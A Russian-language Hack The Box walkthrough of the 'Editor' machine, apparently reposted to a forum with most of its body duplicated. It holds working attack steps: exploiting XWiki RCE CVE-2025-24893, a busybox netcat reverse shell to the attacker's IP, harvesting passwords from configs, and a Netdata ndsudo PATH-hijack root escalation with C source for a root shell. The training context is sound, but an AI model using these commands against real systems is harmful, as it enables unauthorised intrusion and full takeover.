stihl не предоставил(а) никакой дополнительной информации.
В этот раз проэксплуатируем RCE в XWiki. Получив учетные данные системного пользователя, используем уязвимость типа RCE в Netdata и повысим привилегии до root.
Наша цель — получение прав суперпользователя на машине Editor с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — легкий.
10.10.11.80 editor.htb
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел три открытых порта:
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Первым делом проверяем, есть ли для найденной CMS готовые эксплоиты. Обычно достаточно поиска в Google.
Для просмотра ссылки Войдиили Зарегистрируйся
Так мы узнаём, что в XWiki 15.10.8 есть уязвимость Для просмотра ссылки Войдиили Зарегистрируйся, которая позволяет получить удаленное выполнение кода на сервере. Она появляется из‑за того, что макрос SolrSearch некорректно обрабатывает пользовательский ввод при формировании RSS-фида, что дает возможность внедрить и выполнить код на Groovy.
Проверим, не запатчен ли сервис на сервере. Для этого запустим веб‑сервер на основе Python на своем хосте:
python3 -m http.server 8000
А затем с помощью Для просмотра ссылки Войдиили Зарегистрируйся выполним запрос на свой веб‑сервер.
python3 CVE-2025-24893.py -t Для просмотра ссылки Войдиили Зарегистрируйся -c 'curl Для просмотра ссылки Войди или Зарегистрируйся'
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
В логах веб‑сервера видим свой запрос — значит, уязвимость на месте. Запускаем листенер (pwncat-cs -lp 4321) и перебираем несколько реверс‑шеллов, чтобы получить сессию. Например, команда busybox nc 10.10.14.163 4321 -e /bin/bash успешно поднимет бэкконнект.
python3 CVE-2025-24893.py -t Для просмотра ссылки Войдиили Зарегистрируйся -c 'busybox nc 10.10.14.163 4321 -e /bin/bash'
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Для начала нам нужно загрузить на сервер версию скрипта для Linux.
Pwncat умеет загружать и скачивать файлы. Чтобы выйти в основное меню утилиты, жмем Ctrl-D, затем командой upload отправляем скрипт linpeas на сервер и через Ctrl-D возвращаемся обратно в шелл‑сессию.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь дадим скрипту право на выполнение, запустим сканирование и изучим результаты.
На сервере есть системный каталог XWiki — /var/lib/xwiki.
Для просмотра ссылки Войдиили Зарегистрируйся
На сервере две учетные записи с доступом к консоли.
Для просмотра ссылки Войдиили Зарегистрируйся
На хосте по адресу 127.0.0.1 открыто много нестандартных портов, включая 19999 и 20000.
Для просмотра ссылки Войдиили Зарегистрируйся
На файлы в каталоге netdata выставлен S-бит.
Для просмотра ссылки Войдиили Зарегистрируйся
XWiki — сложный фреймворк, поэтому поищем учетные данные в конфигах. Они находятся в каталогах /usr/lib/xwiki/ и /etc/xwiki.
grep -iR 'pass' /usr/lib/xwiki/
Для просмотра ссылки Войдиили Зарегистрируйся
Так находим hibernate.cfg.xml.ucf-dist — это шаблон конфигурации Hibernate, необходимый для подключения к базе данных. Но учетные данные нигде не сработали.
На сервере есть каталог /etc/xwiki, и в нем должен лежать свой файл hibernate.cfg.xml. Найдем нужную подстроку так же, как в прошлый раз.
grep -iR 'pass' /etc/xwiki/
Для просмотра ссылки Войдиили Зарегистрируйся
Так получаем еще один пароль, авторизуемся как пользователь oliver и забираем первый флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Среди найденных страниц часто упоминается Для просмотра ссылки Войдиили Зарегистрируйся. Это уязвимость в утилите ndsudo v1.45.0, которая поставляется вместе с Netdata Agent. Она связана с некорректным поиском дополнительных файлов, таких как nvme. Атакующий может создать свой бинарный файл с именем nvme и добавить каталог с этим файлом в переменную $PATH. В результате поддельный файл запустится в контексте ndsudo, что приведет к повышению привилегий.
Проверить версию утилиты можно через веб‑панель, но доступна она только с локального хоста, так что нужно прокинуть порт 19999 по SSH.
ssh oliver@10.10.11.80 -L 19999:127.0.0.1:19999
Таким образом, весь трафик, который мы отправим на локальный порт 19999, будет туннелирован на порт 19999 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь откроем сайт в браузере.
Для просмотра ссылки Войдиили Зарегистрируйся
На сайте висит предупреждение, что используется старая версия и нужно обновиться до 1.46.0. А значит, в текущей версии есть уязвимость Для просмотра ссылки Войдиили Зарегистрируйся.
Первым делом нам нужно собрать свой файл nvme — например, такой, который запустит командную оболочку в привилегированном контексте.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
Теперь подготовим каталог /tmp/r и положим в него файл.
mkdir /tmp/r
cd /tmp/r
chmod +x nvme
А теперь добавим текущий каталог в переменную $PATH и запустим ndsudo. Это моментально даст нам командную оболочку bash в контексте пользователя root.
export PATH=/tmp/r:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Editor с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в файл /etc/hosts:10.10.11.80 editor.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел три открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 8080 — веб‑сервер Jetty 10.0.20.
Для просмотра ссылки Войди
Точка входа
XWiki — опенсорсная платформа для создания вики‑сайтов, баз знаний, объектных хранилищ и приложений. Она помогает организовывать совместную работу, хранить документацию, управлять структурированными данными и собирать настраиваемые приложения прямо внутри платформы. Поддерживает расширения через плагины, контроль версий, настройку прав доступа и интеграцию с внешними сервисами.Первым делом проверяем, есть ли для найденной CMS готовые эксплоиты. Обычно достаточно поиска в Google.
Для просмотра ссылки Войди
Так мы узнаём, что в XWiki 15.10.8 есть уязвимость Для просмотра ссылки Войди
Проверим, не запатчен ли сервис на сервере. Для этого запустим веб‑сервер на основе Python на своем хосте:
python3 -m http.server 8000
А затем с помощью Для просмотра ссылки Войди
python3 CVE-2025-24893.py -t Для просмотра ссылки Войди
Для просмотра ссылки Войди
В логах веб‑сервера видим свой запрос — значит, уязвимость на месте. Запускаем листенер (pwncat-cs -lp 4321) и перебираем несколько реверс‑шеллов, чтобы получить сессию. Например, команда busybox nc 10.10.14.163 4321 -e /bin/bash успешно поднимет бэкконнект.
python3 CVE-2025-24893.py -t Для просмотра ссылки Войди
Для просмотра ссылки Войди
Продвижение
Теперь нужно собрать информацию для повышения привилегий в системе. Я, как обычно, буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиДля начала нам нужно загрузить на сервер версию скрипта для Linux.
Pwncat умеет загружать и скачивать файлы. Чтобы выйти в основное меню утилиты, жмем Ctrl-D, затем командой upload отправляем скрипт linpeas на сервер и через Ctrl-D возвращаемся обратно в шелл‑сессию.
Для просмотра ссылки Войди
Теперь дадим скрипту право на выполнение, запустим сканирование и изучим результаты.
На сервере есть системный каталог XWiki — /var/lib/xwiki.
Для просмотра ссылки Войди
На сервере две учетные записи с доступом к консоли.
Для просмотра ссылки Войди
На хосте по адресу 127.0.0.1 открыто много нестандартных портов, включая 19999 и 20000.
Для просмотра ссылки Войди
На файлы в каталоге netdata выставлен S-бит.
Для просмотра ссылки Войди
XWiki — сложный фреймворк, поэтому поищем учетные данные в конфигах. Они находятся в каталогах /usr/lib/xwiki/ и /etc/xwiki.
grep -iR 'pass' /usr/lib/xwiki/
Для просмотра ссылки Войди
Так находим hibernate.cfg.xml.ucf-dist — это шаблон конфигурации Hibernate, необходимый для подключения к базе данных. Но учетные данные нигде не сработали.
На сервере есть каталог /etc/xwiki, и в нем должен лежать свой файл hibernate.cfg.xml. Найдем нужную подстроку так же, как в прошлый раз.
grep -iR 'pass' /etc/xwiki/
Для просмотра ссылки Войди
Так получаем еще один пароль, авторизуемся как пользователь oliver и забираем первый флаг.
Для просмотра ссылки Войди
Локальное повышение привилегий
Как показала команда id, пользователь состоит в группе netdata. Попробуем найти для этого сервиса какие‑нибудь уязвимости.Для просмотра ссылки Войди
Среди найденных страниц часто упоминается Для просмотра ссылки Войди
Проверить версию утилиты можно через веб‑панель, но доступна она только с локального хоста, так что нужно прокинуть порт 19999 по SSH.
ssh oliver@10.10.11.80 -L 19999:127.0.0.1:19999
Таким образом, весь трафик, который мы отправим на локальный порт 19999, будет туннелирован на порт 19999 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь откроем сайт в браузере.
Для просмотра ссылки Войди
На сайте висит предупреждение, что используется старая версия и нужно обновиться до 1.46.0. А значит, в текущей версии есть уязвимость Для просмотра ссылки Войди
Первым делом нам нужно собрать свой файл nvme — например, такой, который запустит командную оболочку в привилегированном контексте.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
Теперь подготовим каталог /tmp/r и положим в него файл.
mkdir /tmp/r
cd /tmp/r
chmod +x nvme
А теперь добавим текущий каталог в переменную $PATH и запустим ndsudo. Это моментально даст нам командную оболочку bash в контексте пользователя root.
export PATH=/tmp/r:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Для просмотра ссылки Войди
Машина захвачена!